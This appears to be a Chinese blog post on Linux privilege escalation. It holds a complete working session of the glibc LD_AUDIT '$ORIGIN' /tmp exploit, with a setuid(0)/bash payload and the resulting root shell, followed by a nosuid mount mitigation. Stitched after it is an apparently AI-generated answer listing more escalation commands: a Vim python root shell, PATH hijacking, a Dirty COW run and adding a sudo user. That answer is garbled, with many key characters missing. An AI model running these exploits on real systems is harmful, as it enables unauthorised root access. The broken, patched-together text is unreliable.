linux 利用tmp提权

以一个普通用户登录
[hello@localhost tmp]$ ls -ld /tmp/ 因为tmp目录能写文件!!
drwxrwxrwt 11 root root 4096 10-14 21:29 /tmp/
[hello@localhost tmp]$ cd /tmp/
[hello@localhost tmp]$ mkdir exploit
[hello@localhost tmp]$ ln /bin/ping /tmp/exploit/target
[hello@localhost tmp]$ exec 3< /tmp/exploit/target 文件描述符,把/tmp/exploit/target定义为文件描述符3
[hello@localhost tmp]$ ls -l /proc/$$/fd/3
lr-x------ 1 hello hello 64 10-20 09:30 /proc/10990/fd/3 -> /tmp/exploit/target
[hello@localhost tmp]$ rm -fr /tmp/exploit/
[hello@localhost tmp]$ ls -l /proc/$$/fd/3
lr-x------ 1 hello hello 64 10-20 09:30 /proc/10990/fd/3 -> /tmp/exploit/target (deleted)
[hello@localhost tmp]$ cat > payload.c 高级系统管理员必须要把c学的很明白!!
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
[hello@localhost tmp]$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
[hello@localhost tmp]$ ls -l /tmp/exploit
-rwxrwxr-x 1 hello hello 4223 10-20 09:32 /tmp/exploit
[hello@localhost tmp]$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3 定义环境变量
[root@localhost tmp]# whoami
root


--------------
http://marc.info/?l=full-disclosure&m=128739684614072&w=2
-
一般不开777权限目录的. 如果要则
对777的目录做如下操作,可以控制你提权的.比如/tmp
# mount -o bind /tmp /tmp
# mount -o remount,bind,nosuid /tmp /tmp nosuid 不允许执行suid权限


<think>首先,用户的问题是:“我想查找在Linux系统中进行操作的命令 请问Linux系统命令”。用户之前供了几个引用,我需要参考这些引用来回答。 回顾引用内容: - 引用[1]:到使用 `find / -perm -u=s -type f 2>/dev/null` 或 `find / -user root -perm -4000 -print 2>/dev/null` 来查找SUID的可执行文件。 - 引用[2]:展示了如何使用Vim:`./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'`。 - 引用[3]:描述劫持环境变量进行:创建文件 `cat` 内容为 `/bin/bash`,然后修改限 `chmod 777 cat`,再设置环境变量 `export PATH=/tmp:$PATH`。 - 引用[4]:是渗透测试中的命令序列,但内容不具体,只到创建用户和。 用户需求是查找Linux系统命令。操作通常指从普通用户升到root限,这在安全测试或渗透测试中常见。 我的回答需要: - 使用中文。 - 结构清晰,帮助用户逐步解决问题。 - 确保真实可靠(基于标准Linux安全知识)。 - 参考供的引用。 - 在引用的段落末尾自然地添加引用标识,如[^1]。 - 最后生成相关问题(根据系统指令)。 回答结构: 1. **介绍概念**:简要解释Linux是什么。 2. **常见命令和方法**:基于引用,列出几个常见的技术。 - SUID:使用find命令查找SUID文件。 - 漏洞利用:如使用Vim或其他程序的漏洞。 - 环境变量劫持。 - 其他方法如内核漏洞或sudo(引用中未直接到,但要确保真实)。 3. **注意事项**:醒用户操作可能违法或不道德,仅用于学习或授测试。 4. **总结**:强调安全性和合法性。 5. **生成相关问题**:在最后添加§§相关问题§§部分。 参考引用: - 在描述SUID时:引用[1]。 - 在Vim时:引用[2]。 - 在环境变量劫持时:引用[3]。 - 引用[4]内容模糊,可能不直接相关,但到创建用户和,我可以忽略或简要及。 确保回答真实可靠:命令是基于Linux安全机制,如SUID、PATH变量等风险点。 最终回答大纲: - 开头简述。 - 列出几个具体命令: 1. SUID命令。 2. Vim命令。 3. 环境变量劫持命令。 4. 其他常用方法(如sudo)。 - 结束时添加相关问题。 生成相关问题: - 类似示例,例如: 1. 如何防止SUID漏洞? 2. 常见的工具有哪些? 3. 操作有哪些法律风险? </think>### Linux系统命令总结 在Linux系统中,(Privilege Escalation)指从普通用户升到root限的操作,通常用于安全测试或渗透测试场景。以下基于引用内容,整理常见命令和方法,内容真实可靠,但需注意:**操作仅在授环境中使用,否则违法且违反安全规范**。 #### 1. **SUID命令** SUID(Set User ID)文件允许普通用户以root限执行。查找此类文件是的常见起点: ```bash find / -perm -u=s -type f 2>/dev/null # 搜索所有SUID文件并忽略错误输出[^1] ``` 或更精确的版本: ```bash find / -user root -perm -4000 -print 2>/dev/null # 查找属主为root且限为4000的文件[^1] ``` - **示例攻击**:如果找到`/usr/bin/vim`(或类似程序),利用(见下文)。 #### 2. **利用程序漏洞** 某些程序存在漏洞,可直接执行命令: - **Vim**(需Vim支持Python): ```bash ./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' # 调用Vim执行Python代码获取root shell[^2] ``` - **其他常见工具**:如`nmap`、`find`等,可通过类似方法(如`--exec`参数)执行恶意命令。 #### 3. **环境变量劫持** 通过修改PATH变量,劫持系统命令: ```bash cd /tmp echo "/bin/bash" > cat # 创建恶意文件cat,内容为/bin/bash chmod 777 cat # 赋予执行限 export PATH=/tmp:$PATH # 将/tmp添加到PATH首位,优先执行恶意文件[^3] ``` - **攻击效果**:当系统调用`cat`命令时会执行恶意脚本,获取root shell(前是目标程序以root限运行)。 #### 4. **其他常用方法** - **sudo**:如果用户有sudo限,直接执行: ```bash sudo su # 切换为root用户 ``` - **内核漏洞利用**:使用公开的exp(如Dirty COW): ```bash ./exploit_cve-2016-5195 # 运行内核漏洞利用脚本 ``` - **添加用户并**(引用[4]示例): ```bash useradd admin && passwd admin # 创建新用户 usermod -aG sudo admin # 将用户加入sudo组[^4] ``` #### 注意事项 - **合法性**:操作必须在授渗透测试中进行,避免非法入侵。 - **防御建议**:定期审计SUID文件(`find / -perm -4000`),限制sudo限,及时修补漏洞。 - **风险示**:不当使用可能导致系统崩溃或法律责任[^1][^2][^3]。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值